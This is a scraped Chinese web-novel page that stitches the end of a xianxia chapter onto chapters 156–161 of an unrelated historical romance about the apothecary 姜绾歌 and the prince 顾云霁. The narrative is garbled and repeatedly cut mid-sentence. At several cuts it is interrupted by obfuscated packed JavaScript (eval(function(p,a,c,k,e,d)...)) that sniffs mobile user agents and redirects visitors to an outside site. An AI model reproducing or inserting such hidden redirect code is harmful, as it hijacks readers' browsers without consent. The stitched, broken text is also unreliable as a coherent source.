“我曾怀疑,神界之上会有更强大的生命,所以用尽全力窥视,最终引来了更高世界的反噬……一个手掌破空而下!” 聂云看过来:“当时如果我躲闪,极有可能整个神界都会被抹平,再没有半个生命……所以,挡下了这招,但也因此,化身的天道被分裂出去。” “这种情况,我想恢复,只是一道意念而已,但……我明白,想要真正超脱神界桎梏,去探索手掌由何而来,神界之外,又有什么……单靠我一人很难做到。所以,想要看看,有没有生命,能够突破帝君桎梏,达到和我平齐的地步!” “所以,就将分散的天道意念,送到最底层的世界……分别赐予原本属于这个世界的灵魂,和一个不属于这个世界的灵魂。而你,最终没让我失望!” 聂云笑道。 “不属于这个世界的灵魂,这样说来,我穿越,也是因为你?”张悬心中一震。 难怪,能够穿越过来,没想到都是眼前这位所为。 “呵呵!”聂云轻轻一笑,道:“本身属于这个世界,就有着对世界的敬畏,想要突破世界桎梏,难度要大得多,我也是心念一动,并没想到,你真的能够成功……” “我……”张悬脸色一红:“如果不是孔师,我根本不可能达到这种地步……” 没有孔师的无私奉献,想要达到现在的境界,根本不可能做到。 “机会我给他了,没把握住而已。和灵犀的比斗,其实就是他突破的最佳机会,可惜,他选择了退避,以为自己留了后手,可以全身而退,实际上却是失去了勇猛精进,面对超越我们的人,如果连这点精神都没有,又如何能够与之抗衡?” 聂云道。 张悬沉默不语。 当时二人的战斗,他都看在眼里,孔师的确在果决上有些欠妥。 也有可能,他不愿意斩杀洛若曦吧。 可惜,就这一念之间,错过了晋级的机会。 “如果孔师获胜,若曦就会死……”片刻后,张悬看过来,眉毛皱起。 难不成,眼前这位连女儿的生死都不管了? “有我在,她不会死……”聂云淡淡一笑:“你现在的实力,和我也差不了多少了,你觉得二人的实力,生死关头,想要救人,能不能做到?” “这……”张悬苦笑。 突破帝君,和帝君,是两个概念,如果他真的愿意出手,的确可以在最后关头将人救下,而且保证,一点伤都受不了。 “灵犀,是我另外一个妻子洛倾城所生,所以她伪装的名字,姓洛……为了能让她相信,不感情用事,到现在一直以为我还陷入昏迷……” 聂云苦笑一声:“我这个爹也算做得够狠了……这样吧,这件事还是你和她解释吧,毕竟,她现在的心思,已经转移到你身上了,我这个老爹,估计都想不起来了……哈哈,我暂时就不出现了,躲避上一段时间再说,不然,真怕她闹得天翻地覆……” 看到眼前这位如此不靠谱的老爹,面皮一抽,张悬只好答应:“好吧……” 不答应也没办法,谁让自己拐走了人家的女儿…… “天道图书馆,是我一道意念所化,是根基,也是桎梏,你能靠自己的能力,突破桎梏,说明了能力和潜力,将来前途无量,我女儿能和你在一起,做父亲的,也算欣慰了。” 正在手打中,请稍等片刻,内容更新后,请重新刷新页面,即可获取最新更新! 第156章 顾云霁摆架子? 小福子!她冲着一个瘦小的跑堂喊道,嗓门放亮点!客人还没进门就得闻到咱们的香味儿,听到咱们的叫卖声! 小福子连忙应声:是!东家! 他清了清嗓子,提高音量朝着门外高喊:醉仙楼新推药膳啦!当归鸡汤补气血,天麻鱼头治头疼,枸杞炖排骨壮筋骨,红枣银耳美容颜!药食同源,滋补养生,一碗下肚,胜过灵丹! 这一嗓子下去,街上的行人纷纷侧目。有几个好奇的客人已经在门口探头探脑了。 不错!就是这个劲头!姜绾歌满意地点头,然后转身对其他跑堂说,你们几个也给我打起精神来!今天是开张第一天,成败在此一举! 是!东家!众人齐声应道。 姜绾歌看着她调教出来的这班人马,心中颇有些得意。 这些跑堂原本都是街头混混,被她收拢后苦心培训,如今个个都机灵得很,眼观六路耳听八方,比那些老牌酒楼的伙计都要强。 正想着,大堂里传来小福子洪亮的声音:客官里面请!咱们醉仙楼今日推出五道养生药膳,保您吃了身体倍儿棒! 姜绾歌抬头一看,心头猛地一跳——进来的竟然是顾云霁! 他今日穿了件月白色锦袍,腰间系着羊脂玉佩,整个人看起来雅致如玉,却又带着几分不羁的意味。 那双桃花眼正似笑非笑地看着她,仿佛早就料到会在这里遇见她。 搞着这出?他想干嘛? 姜绾歌在心里腹诽,面上却不动声色。 顾云霁缓步走向最靠窗的雅座,路过柜台时,目光在她身上停留了一瞬,然后淡淡道:听闻醉仙楼推出了药膳,本王特来尝鲜。 王爷光临,蓬荜生辉。姜绾歌皮笑肉不笑地说,小二,还不快给王爷安排最好的位子? 不必,顾云霁摆手,在窗边坐下,就这里挺好。 他选的位置正好能将整个大堂尽收眼底,也能清楚地看到柜台后忙碌的姜绾歌。 小福子屁颠屁颠地跑过去:王爷,您想尝哪道药膳? 都来一份。顾云霁漫不经心地说,本王倒要看看,姜老板这药膳有何神奇之处。 姜绾歌听了这话,心里那把火蹿了起来。 这是干嘛?摆架子,来找茬? 姜绾歌眯起眼睛盯着顾云霁,她倒要看看他葫芦里卖的什么药。 不过她也不怕,自己的药膳那可都是精心调配的,用料扎实,功效明确,谅他也挑不出什么毛病来。 得嘞!小福子高声应道,五道药膳马上就好! 厨房里很快忙碌起来。姜绾歌亲自监督,确保每一道菜都按照她的要求制作。 当归鸡汤用的是土鸡,炖了足足三个时辰,汤色金黄,香气浓郁。当归的药香和鸡肉的鲜美完美融合,光是闻着就让人食指大动。 天麻鱼头选用的是肥美的鳙鱼头,配上天麻、党参、红枣等药材,既有鱼的鲜美,又有药材的清香,对头疼眩晕有很好的疗效。 枸杞炖排骨、红枣银耳羹、山药莲子汤,每一道都色香味俱全,卖相极佳。 上菜!姜绾歌亲自端着托盘走向顾云霁的桌子。 她将五道药膳一一摆好,每一道都介绍一番功效:这当归鸡汤补气养血,最适合体虚之人;天麻鱼头清热平肝,能治头疼眩晕;枸杞排骨壮筋健骨... 顾云霁静静听着,目光却始终落在她脸上。 介绍完了?顾云霁拿起勺子,在当归鸡汤里轻轻搅动,汤汁荡起阵阵香气,那本王就不客气了。 他先尝了一口当归鸡汤,眉头微微扬起,似乎对味道颇为满意。然后又品了品天麻鱼头,点了点头。 姜绾歌站在一旁,双臂环抱与胸前,这厮到底想干什么? 正当她胡思乱想时,顾云霁忽然抬眸,眼底带着促狭的笑意:姜大夫这鸡汤,补气养元是好,不知...能否治刀伤? 姜绾歌心里无比的吐槽。 王爷说笑了,刀伤需外敷内服,对症下药。鸡汤嘛...顶多暖胃。 顾云霁轻笑,声音压得很低,只有她 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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树大招风 顾云霁将这一切都看在眼里,不禁暗暗点头。这些跑堂确实训练有素,不但能招揽客人,更重要的是能收集信息。在这样一个信息就是财富的时代,这样的班底简直是无价之宝。 姜老板,他忽然开口,本王有个问题想问你。 王爷请说。姜绾歌警惕地看着他。 你这药膳的配方,是从哪里来的?顾云霁一边品尝着山药莲子汤,一边漫不经心地问。 这个问题让姜绾歌稍微愣了一下。她总不能说这些都是从现代医学知识里来的吧? 家传秘方,她随口胡诌,我祖上曾有人在宫中当过御医,留下了不少方子。 御医?顾云霁挑眉,哪朝哪代的御医? 这...姜绾歌被问住了,年代久远,记不太清了。 顾云霁看着她有些慌乱的样子,眼中闪过一丝玩味。这女人,撒谎的时候耳根子都红了,真是有趣。 不过他也没有拆穿,只是笑了笑,继续品尝着药膳。 正在这时,外面传来一阵喧哗声。姜绾歌往窗外一看,只见街对面的仁德堂门前围了一群人,似乎出了什么事。 小福子,她叫过一个跑堂,去看看对面怎么回事。 小福子机灵地跑了出去,没一会儿就回来了,脸上带着兴奋的神色:东家,仁德堂出事了! 出什么事了?姜绾歌来了兴趣。 听说他们昨天卖出去的药有问题,好几个客人都来退钱呢!小福子压低声音说,还有人说要去官府告他们! 姜绾歌听了这话,心里顿时乐开了花。仁德堂这是自作自受啊!昨天还敢来她这里挑刺,今天就出事了,真是现世报! 继续盯着,她吩咐道,有什么消息及时汇报。 是!小福子兴冲冲地跑开了。 顾云霁将这一切都看在眼里,不动声色地继续用餐。他发现姜绾歌手下的这些人确实很有用,消息灵通,办事机灵,难怪生意能做得这么好。 王爷觉得药膳如何?姜绾歌走过去问道。 不错,顾云霁放下勺子,确实有些门道。 他顿了顿,忽然压低声音说:不过,姜老板最好小心些。树大招风,有些人怕是不会善罢甘休的。 这话说得意味深长,姜绾歌心头一紧:王爷这话什么意思? 顾云霁闻言,只是不置可否地挑了挑眉,目光重新落回面前的药膳上,仿佛真的只是来品尝美食的闲散王爷。 他慢条斯理地舀起一勺山药莲子汤,那副气定神闲的模样,让姜绾歌心头那股无名火又“噌”地冒了上来。 这人,永远像一团看不透的迷雾,话里有话,点到即止,让人抓不住把柄,却又无法忽视他的存在。 “王爷慢用,若有不合口味之处,随时招呼伙计。” 姜绾歌压下翻腾的思绪,脸上重新挂起职业化的、带着距离感的微笑,语气却疏离得很。 她可没空陪这位心思莫测的王爷打哑谜,醉仙楼药膳首日开张,每一刻都至关重要。 她转身回到柜台后,目光锐利地扫视着整个大堂,确保每一个环节都井然有序,将顾云霁带来的那点不自在彻底抛在脑后。 整个上午,醉仙楼人声鼎沸,药膳的噱头加上跑堂们卖力的吆喝,吸引了不少好奇尝鲜的客人。 姜绾歌穿梭于柜台和后厨之间,指挥若定,处理着各种突发状况,忙得脚不沾地。 直到午市高峰渐渐过去,她才得以喘口气,匆匆扒了几口饭,心思便又飞到了杏林堂那边。 “阿福!”她唤来得力助手,语速飞快地交代,“醉仙楼这边暂时稳住了,我得马上回杏林堂。 小石头和小牛子在菜市口演示得如何?重新赶制的‘平安包’备货充足吗?还有,昨夜那些被污水泡过、但还能用的药材,处理晾晒进度怎么样了?下午必须全部重新分包完毕!明天,惠民药局必须重新开张,声势要比之前更大!” 她的话语里透着一股不容置疑的狠劲和急切,昨夜被毁的药材和被泼的污水,这笔账,她刻在骨子里。 阿福连忙应下, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15964543|174770||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 拍着胸脯保证:“东家放心,菜市口那边围了好多人,小石头嗓子都快喊哑了,当众煎药的香气飘得老远,好些人当场就要买!新药包已经连夜赶制出不少,下午肯定能把缺的补上!晾晒的药材伙计们一直盯着呢!” “好!”姜绾歌眼中闪过一丝厉色,“记住,明天开张,把‘无效退款’的牌子给我挂到最显眼的地方!我姜绾歌倒要看看,谁还敢在背后使阴招!” 她风风火火地冲出醉仙楼,直奔杏林堂。昨夜的狼藉虽已清理,但空气中似乎还残留着一丝若有若无的污浊气息。 她看着伙计们忙碌地分拣、晾晒、包装药材,疲惫感再次袭来,眼中布满了血丝,但那股不服输的狠劲支撑着她,精神头异常旺盛。 “东家,”阿福跟在她身后,看着她布满红血丝的眼睛,忍不住劝道,“您看要不要先歇会儿?昨晚折腾了一夜,今早又…” “歇什么歇?”姜绾歌头也不抬,声音斩钉截铁,她正捏着一把刚晾干、品相上乘的当归仔细检查,“三文药包今天必须全部重新做出来,耽误一天就是耽误银子!更是给那些躲在暗处的王八蛋看笑话!”她的话语里充满了**味。 就在她全神贯注于手中药材,盘算着明天的硬仗时...... 街道那头,一阵突兀而凄厉的哭声猛地撕破了杏林堂门前还算平静的空气,由远及近,带着一种刻意放大的悲怆,越来越清晰,直刺耳膜。 “我的命好苦啊!相公啊!你怎么就这么走了!留下我们孤儿寡母可怎么活啊......!” 姜绾歌捏着当归的手猛地一顿,心头那根一直紧绷的弦骤然拉紧! 她倏地抬头,锐利的目光如同淬了寒冰的利箭,射向声音传来的方向。 只见一个穿着粗布衣裳、形容憔悴的中年妇人,正捶胸顿足、哭天抢地地朝杏林堂这边踉跄走来。 她身后跟着几个面相不善的壮汉,抬着一副极其简陋、甚至有些脏污的木板,板子上赫然躺着一个用破草席盖着、一动不动的人形! 第158章 栽赃 姜绾歌定睛一看——这哪里是她的药?分明是一些劣质的草根和树皮! 眸底寒光乍现,一股冰冷的怒意瞬间席卷心头,但她面上纹丝不动。 拙劣的栽赃!对方连药材都懒得仿得像样些,是笃定能煽动无知民众,还是根本有恃无恐? “这不是我杏林堂的药!”她厉声道,声音清晰穿透嘈杂,“我的药包里装的是紫苏和生姜,你这包里装的是什么乱七八糟的东西?” 质问的同时,她的大脑飞速运转:对方下一步会是什么?咬死不放?煽动**? “还敢狡辩!”妇人又开始嚎哭,试图用更大的声浪淹没她的声音,“乡亲们都看着呢!这就是从你们杏林堂买的!我相公吃了就**!” 围观的人群议论纷纷,怀疑与轻信交织。 姜绾歌深吸一口气,不是强迫自己冷静,而是将那份冰冷的怒意转化为更锐利的锋芒。 这拙劣的戏码漏洞百出,既然对方要演,她就当众撕开这层皮!正好借力打力,彻底洗清污名,甚至反将一军。 “你说你相公是吃了我的药死的?” 她唇角勾起一丝冰冷的弧度,目光如刀锋般扫过妇人和那具“尸体”,“那我倒要看看,他到底是**的!”验尸,是破局的关键,也是震慑宵小、赢得公信的最佳手段。 说着,她走向那具尸体。妇人见状,连忙拦在前面:你...你要干什么? 验尸!姜绾歌斩钉截铁,不容置疑,既然你说是我的药害死的,那就得验明正身! 她的语气带着一种不容置喙的权威,仿佛天生就该掌控局面。 她推开妇人,来到尸体旁边。这是个三十多岁的男人,面色青白,一动不动地躺在木板上。 姜绾歌目光如炬,仔细观察着,呼吸、肌肉状态、甚至眼睑的细微颤动都逃不过她的眼睛。 胸口那微不可察的起伏!呵,装得还挺像,可惜遇到了她。 **还会呼吸?她冷冷道,声音不大却清晰地传到每个人耳中,真是奇了怪了!话音未落,袖中银针已然出手,精准地刺向死者的人中穴。 啊!一声惨叫,**猛地坐了起来,把围观的人群都吓了一跳。 诈尸了!有人惊叫道。 什么诈尸?姜绾歌冷笑,那笑容带着洞悉一切的讥讽,这根本就是装死! 她的目光锐利地钉在惊慌失措的“死者”和面无人色的妇人身上。 那死者彻底清醒过来,慌乱地四下张望。妇人见事情败露,脸色煞白如纸。 还不承认?姜绾歌声音更冷,从怀里掏出一包皂角粉,来,让我看看你到底吃了什么! 她动作干脆利落,不容反抗地将皂角粉用水调开,强行灌进那男人嘴里。 没一会儿,男人就开始剧烈呕吐,污物中赫然有几颗未消化的巴豆粒! 巴豆!人群中有识货的惊呼,这是巴豆!难怪会装死! 姜绾歌面不改色地捡起几颗巴豆粒,高高举起,展示给所有围观者:各位乡亲看清楚了!这人吃的不是我的风寒药,而是巴豆!巴豆有小毒,吃多了会让人剧烈腹泻、脱水昏迷,看起来像**一样!这就是他们装神弄鬼、讹诈栽赃的铁证! 她的声音铿锵有力,带着一种昭告天下的气势。 围观的人群瞬间炸锅,愤怒的指责如潮水般涌向那对男女。 原来是讹人的! 太可恶了!差点被骗了! 这种人最可恨! 妇人见事情败露,眼神闪烁就想溜走。 想走?姜绾歌比她更快一步,一把扣住妇人手腕,力道之大让妇人痛呼出声。 她毫不客气地在妇人身上一阵摸索,很快从袖子里摸出一个沉甸甸的钱袋。 打开一看,白花花的银子晃眼,钱袋上赫然绣着仁德堂三个字! 看到“仁德堂”三个字的瞬间,姜绾歌眼底淬出冰棱。 果然是你们!一计不成又生一计,手段下作至此!好,很好,这笔账,她记下了! 各位乡亲看看!她将钱袋高高举起,声音如同淬了冰,这就是铁证!仁德堂买通这个妇人来讹诈我杏林堂!栽赃陷害 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15964544|174770||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,草菅人命,无所不用其极!这就是你们口中所谓的‘仁德’?! 她的话语如同重锤,狠狠砸在每个人心上,也将“仁德堂”的招牌钉在了耻辱柱上。 人群彻底沸腾了,对仁德堂的谴责声浪一浪高过一浪。 妇人瘫软在地,涕泪横流:姜大夫饶命!我...我也是被人指使的!是...是仁德堂的二掌柜...他给了我十两银子,让我来这里**...她只想赶紧脱身,把知道的都倒了出来。 口供有了,物证也有了,时机正好!姜绾歌心中瞬间已定下反击之策。 她忽然提高声音,盖过所有嘈杂,对围观的众人朗声道:好!为了彻底证明我杏林堂的清白,让各位乡亲明辨是非,从今日起,义诊三日!凡是对我们药材有疑虑的,尽管来验!无效退款,童叟无欺! 义诊?人群中有人惊讶道。 不错!姜绾歌斩钉截铁,三天内,任何人都可以来免费验证我们的药材品质!是好是坏,是真是假,大家亲眼所见,亲身体验!我姜绾歌,行得正坐得直,不怕验! 这既是自证,更是对仁德堂最响亮的耳光,也是绝佳的宣传机会! 这话一出,效果立竿见影。疑虑迅速被好奇和占便宜的心理取代。 真的吗? 不要钱? 那我也去试试! 很快,人群就自发排起了长队,争相领取药包。 姜绾歌看着这踊跃的场面,心中那冰冷的怒意才稍稍平复,取而代之的是一种掌控局势的冷静评估。 危机暂时化解,还借势打出了名声,这步棋走对了。但仁德堂绝不会善罢甘休。 人群太乱,除了姜绾歌,没人注意到刚才发生的凶险一幕。 姜绾歌再次抬头看向茶楼,却发现顾云霁已经不见了,仿佛刚才的一切都是幻觉。 这个男人...她心底划过一丝难以言喻的触动,随即被更深的警惕和评估取代。 总是在最关键的时刻出现,精准得可怕。是巧合? 还是…一直关注着这里? 第159章 找顾云霁帮忙 他到底在图谋什么?这份“援手”,价值几何?她默默将这笔账也记在了心里。 管家点点头,带着人离开了。 阿福看着满屋子的珍贵药材,眼睛都直了:东家,这...这得值多少银子啊? 不少,姜绾歌轻抚着一根品相绝佳的人参,指尖感受着它的纹理,眼神却深邃难辨。 顾云霁…这份“贺礼”兼“投资”,分量太重了。 雪中送炭? 还是另有所图? 这份人情,比银子更烫手,也更…值得玩味。她从不相信无缘无故的好意。 东家,阿福小心翼翼地问,咱们接下来怎么办? 姜绾歌收回落在人参上的目光,眼中闪过一丝如同淬火刀锋般的寒芒,嘴角勾起一丝冰冷而决绝的弧度:怎么办? 她的声音不高,却带着斩钉截铁的力量,继续干!仁德堂既然把脸伸过来,这巴掌,就得给我挨结实了!这次只是开场,好戏,还在后头呢! 她的反击,从来不是匹夫之勇,而是步步为营,直击要害! 那句“好戏还在后头”的宣言,如同投入平静水潭的石子,在姜绾歌心底漾开层层涟漪,但这涟漪很快被更深的谋划所取代。 她的反击,从来不是空喊口号,而是需要实打实的布局和资本。 仁德堂根基深厚,仅靠三文药包和义诊积累的底层口碑,还不足以撼动其根本。 要真正打疼他们,必须开辟新的战场,一个利润更高、影响力更大的战场——贵妇名媛们的梳妆台。 接下来的几日,杏林堂的日常运转由阿福等人负责,姜绾歌则将大部分精力投入了后院的方寸之地。 她深知,那些养尊处优的贵妇们,对“治病”的需求远不及对“驻颜”的渴望来得强烈。而她的优势,恰恰在于超越这个时代的配方知识。 当最后一抹天光被浓重的夜色吞噬,杏林堂后院的小屋便成了姜绾歌的秘密工坊。 烛火摇曳,将她专注的身影投在墙壁上。 桌上整齐排列着几个玲珑剔透的小瓷瓶,里面盛着她耗费心血、反复调试才最终定型的玫瑰凝露。 烛光透过瓶身,映照出凝露温润的粉金色泽,空气中弥漫着清雅而持久的玫瑰冷香,与药局前堂惯有的草木苦辛截然不同。 她拿起其中一瓶,指腹感受着瓷瓶细腻的凉意,轻轻摇晃。 凝露如丝缎般滑过瓶壁,留下短暂而诱人的痕迹。 成本是高,光是最上等的突厥玫瑰精油就耗费不菲,但效果…她嘴角勾起一丝笃定的弧度,足以让这个时代所有的胭脂水粉黯然失色。 这不仅是产品,更是她打入上流社会、积累反击资本的利器。 “东家,”阿福的声音在门外响起,带着一丝不易察觉的敬畏。 这几日东家闭门不出,捣鼓出的东西,光闻着就让人心旷神怡。 “进来。”姜绾歌的目光依旧流连在瓶身上,思考着如何最大化它的价值。 阿福小心翼翼地捧着一个垫着软绸的木盒进来,打开盒盖,十几只晶莹剔透的西域玻璃瓶静静躺在其中。 烛光下,它们折射出璀璨的碎芒,纯净无瑕的透明感瞬间将旁边的小瓷瓶比了下去。 “多少银子?”姜绾歌拿起一只玻璃瓶,感受着它冰凉光滑的触感和远超瓷瓶的通透感。 “回东家,足足三十两!”阿福咋舌,心都在滴血,“那西域商人咬**价,说这玩意儿**迢迢从大食国运来,一路碎掉的比留下的还多…” “值得。”姜绾歌语气斩钉截铁,眼中精光闪烁。 她将瓷瓶中的玫瑰凝露小心倾倒入玻璃瓶中。 粉金色的液体在纯净透明的容器中流转,光华内蕴,宛如凝固的朝霞。 她又取来早已备好的、染成淡金色的细韧丝线,在瓶口系出一个繁复而优雅的结。 华贵!精致!独一无二!那些贵妇要的就是这份与众不同的体面和彰显身份的排场。 她们买的哪里是药膏?分明是身份和奢望的象征!十五两?二十两?这定价 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15969031|174770||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' …还得再斟酌。 不过,包装的难题解决了,更大的壁垒横亘在眼前——销路。 平民百姓的生意她已用“货真价实”和“三文钱”叩开,但贵妇的圈子壁垒森严,门第观念根深蒂固。 她一个抛头露面经营药铺的商女,在那些自诩高贵的夫人小姐眼中,恐怕连登门递帖子的资格都没有。 需要一个跳板,一个能在那个圈子里说得上话、有分量的人物引荐… 念头电转间,一张带着几分慵懒戏谑、却又深不可测的俊脸倏然浮现在脑海——顾云霁! 这男人身份尊贵,在京城权贵圈中如鱼得水,人脉盘根错节。 若能说服他…不,是与他达成交易,借他的势打开这扇紧闭的门,那这盘棋就活了! 想到这里,姜绾歌眼中闪过一丝决断,没有丝毫犹豫。 她立刻挑选出一瓶包装最为完美的玫瑰凝露,握在掌心。 冰凉的玻璃瓶身,仿佛也压下了她心中对即将与那个心思难测的男人打交道的最后一丝踌躇。 “东家,这么晚了您要去哪里?”阿福看着姜绾歌起身就往外走,急忙问道。 “办事!”姜绾歌头也不回,身影迅速融入门外浓重的夜色中,只留下一句清晰的指令,“看好铺子,明日按计划行事!” 夜色深沉,街道寂静。 姜绾歌步履匆匆,穿过几条清冷的街巷,高门大户**的区域渐渐显露。 顾云霁的王府,朱门高墙,威严矗立。 门前两尊石狮在灯笼幽光下显得格外狰狞,两名持刀侍卫如同门神般肃立。 “站住!”侍卫的断喝在寂静中格外刺耳,冰冷的刀刃反射着寒光,“深更半夜,来王府何事?” 姜绾歌停下脚步,深吸一口气,压下因疾走而微喘的气息,将手中那瓶在夜色中依然流转着微光的玫瑰凝露握得更紧,声音清晰而稳定:“我找你们王爷,就说姜绾歌求见。” 姜绾歌?其中一个侍卫愣了一下,就是那个开药铺的? 第160章 秋姨娘 正是我!姜绾歌点头,快去通报,就说我有要事相商! 两个侍卫对视一眼,其中一个说:王爷有令,姜大夫若是来访,无论何时都可直接进府。 姜绾歌听了这话,心中有疑问。 这个顾云霁,早就料到她会来找他? 很快,她被领进了王府的花园。夜色中,假山池水在月光下泛着微光,几株梅花在寒风中暗香浮动。 姜大夫深夜造访,可是有什么急事?熟悉的声音从假山后传来。 顾云霁缓步走了出来,身穿一件深蓝色锦袍,腰间系着白玉佩,整个人在月光下显得格外雅致。 他手里还拿着一杯热茶,似乎早就在等她了。 王爷果然神机妙算,姜绾歌冷笑一声,连我什么时候来都算准了? 不是算准,顾云霁走到她面前,目光落在她手中的瓶子上,是猜到了。你这个人,有事从不憋着,肯定会主动找上门来。 他伸手想要接过那个瓶子,姜绾歌却往后退了一步:王爷想看? 当然,顾云霁挑眉,姜大夫大半夜跑来,手里拿着这么精致的东西,肯定不是来送礼的。 姜绾歌犹豫了一下,还是将瓶子递了过去。顾云霁接过瓶子,在月光下仔细端详着。 玻璃瓶在他手中折射出璀璨的光芒,里面粉红色的凝露像液体宝石一般美丽。 他轻轻摇晃了一下,凝露的质地如丝般顺滑,散发出淡雅的玫瑰香气。 玫瑰凝露?他抬眼看向姜绾歌,眼中带着玩味的笑意,姜老板这是要进军胭脂水粉的生意了? 不是胭脂水粉,姜绾歌纠正道,是美容养颜的药膏。能淡化细纹,滋润肌肤,比市面上任何胭脂都要好用。 顾云霁把玩着瓶子,那双桃花眼似笑非笑地看着她:所以,姜老板今夜来找本王,是想... 我需要打入贵妇圈的渠道,姜绾歌直接开门见山,王爷人脉广泛,肯定认识不少贵妇名媛。我希望王爷能帮个忙。 哦?顾云霁饶有兴致地看着她,姜老板终于想到用我了? 他将瓶子高高举起,透过瓶身看着月亮,语气慵懒地说:这"敲门砖"...代价几何? 姜绾歌深吸一口气,直视着他的眼睛:王爷想要什么?情报?分成? 顾云霁忽然放下瓶子,向她走近了几步。夜风带着他身上淡淡的沉水香味,让姜绾歌不由自主地往后退了一步。 情报太虚,分成太俗,他继续向前,直到两人只有一臂之距,本王想要的...是别的。 什么?姜绾歌强装镇定地问道。 顾云霁忽然凑近,温热的气息拂过她的耳畔,声音低沉磁性:我想要...姜老板欠我人情。 他的声音很轻,却让姜绾歌心头一颤。这个距离太近了,近得她能感受到他身体的温度,能闻到他身上清淡的香味。 人情?她努力保持冷静,什么样的人情? 一个...顾云霁在她耳边轻语,将来或许需要你兑现的人情。 姜绾歌猛地推开他,脸颊微微发红:说得清楚点!我可不喜欢打哑谜! 顾云霁看着她,那双桃花眼里的笑意带着洞悉一切的玩味:“就是字面意思。本王帮你打开贵妇圈的门路,你欠我一个人情。至于这个人情什么时候用,用来做什么...那就是本王说了算了。” “呵,”姜绾歌发出一声短促的冷笑,眸色锐利如冰刃,直刺向他,“王爷这买卖做得真是稳赚不赔。一个虚无缥缈的‘人情’,就想换我实实在在的门路?” 她掂量着手中的玻璃瓶,那里面是她耗费心血和银钱的产品,是她的筹码。 “这条件,未免太‘霸道’了些。” “愿者上钩,”顾云霁毫不在意她的讽刺,慵懒地耸耸肩,仿佛吃定了她,“姜老板若是觉得筹码不对等,大门就在那边。本王绝不强求。” 他做了个“请便”的手势,姿态闲适,却带着无形的压力。 空气凝滞了片刻。姜绾歌的大脑飞速运转,权衡利弊。 顾云霁的渠 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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他转身,目光带着洞察,“更关键的是,她长袖善舞,是京中贵妇圈子里有名的‘攒局’高手。多少消息、生意,都在她办的赏花宴、品茶会上敲定。搭上她,等于拿到了一张入场券。” 第161章 邀请赏花 姜绾歌的眼睛瞬间亮了起来,如同猎手锁定了目标。 信息掮客!这才是秋姨娘真正的价值!一个能在贵妇圈子里穿针引线、传递消息甚至促成交易的关键节点!顾云霁这条情报,确实值钱。 “怎么接触?”她问得直接。 “简单。”顾云霁从袖中取出一张洒金笺纸,递给她,“用你最好的瓶子,附上这张字条,送到伯府。就说是西域秘法,有七日淡纹奇效。” 姜绾歌接过,快速扫过上面优雅又不失力度的措辞。 闻伯府秋姨娘雅量高致,特献西域秘制玫瑰凝露一瓶,可于七日内淡化面部细纹,还望笑纳。若蒙不弃,愿为姨娘调制更多养颜佳品。杏林堂姜绾歌敬上。 “文笔尚可,”姜绾歌客观评价,将字条仔细收好,心中已开始盘算如何包装和措辞能更打动人心。她对顾云霁的“保证”始终保留三分。 “万一她不动心?”她习惯性地设想最坏情况,目光锐利地看向顾云霁,这是她对自己计划的审视,而非依赖他的答案。 “她会动心。”顾云霁语气笃定,“秋姨娘年过三十有五,色衰之惧远胜常人。你这‘七日淡纹’的诱饵,直击要害。只要你的东西真有你说的那么神…” 他意味深长地看了她手中的瓶子一眼。 姜绾歌心中了然。 精准定位目标客户的痛点,顾云霁对人心把握确实老辣。 这让她对计划成功多了几分把握,但核心依然在于产品本身和她后续的运作。 “但愿你的眼光和你的人情一样‘可靠’。”姜绾歌不咸不淡地回了一句,将“可靠”二字咬得微重,带着一丝不易察觉的嘲讽。 她从不把希望完全寄托在别人身上。 “最多三日,”顾云霁对她的暗讽不以为意,胸有成竹,“秋姨娘必会主动寻你。” 又敲定几个细节,姜绾歌果断告辞。刚走出几步,顾云霁低沉的声音自身后传来,在寂静的花园里格外清晰。 “姜绾歌,记住你欠的。” 姜绾歌脚步未停,只向后随意地挥了下手,声音干脆利落,不带丝毫扭捏:“记着呢!忘不了你的‘人情债’!”语气里听不出是认账还是讥诮,身影已迅速消失在夜色回廊中。 